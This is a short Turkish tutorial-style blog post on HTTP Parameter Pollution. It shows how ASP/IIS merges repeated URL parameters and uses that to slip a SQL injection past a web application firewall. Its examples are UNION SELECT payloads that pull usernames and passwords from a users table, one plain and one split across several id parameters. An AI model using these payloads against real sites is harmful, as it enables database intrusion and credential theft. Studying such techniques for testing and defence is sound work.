Bir url üzerinde aynı parametre isminin birden fazla geçmesinin belli bir standardı olmadığından farklı platformlar üzerinde farklı yorumlanmasına sebep olmaktadır.
Bazı Sunuculara göre HPP Yorumlaması
Buradan bir örnekle güvelik duvarını nasıl aşacağımızdan bahsedelim.
Örneğin ASP/IIS Sunucusunu ele alalım.
Kod:
localhost/?id=1 union select username,password from users--
Yukarıdaki tabloda IIS sunucuda birden fazla aynı parametreyi yolladığımızda yollanan parametre değerleri arasına virgül koyduktan sonra birleştirip işlediğini görüyoruz.
Örneğin sorguyu bu hale getirdiğimizi düşünelim.
Kod:
localhost/?id=1 union/*&id=*/select/*&id=*/username&id=password/*&id=*/from users--
Kod:
1 union/*,*/select/*,*/username,password/*,*/from users--
Hiç yorum yok:
Yorum Gönder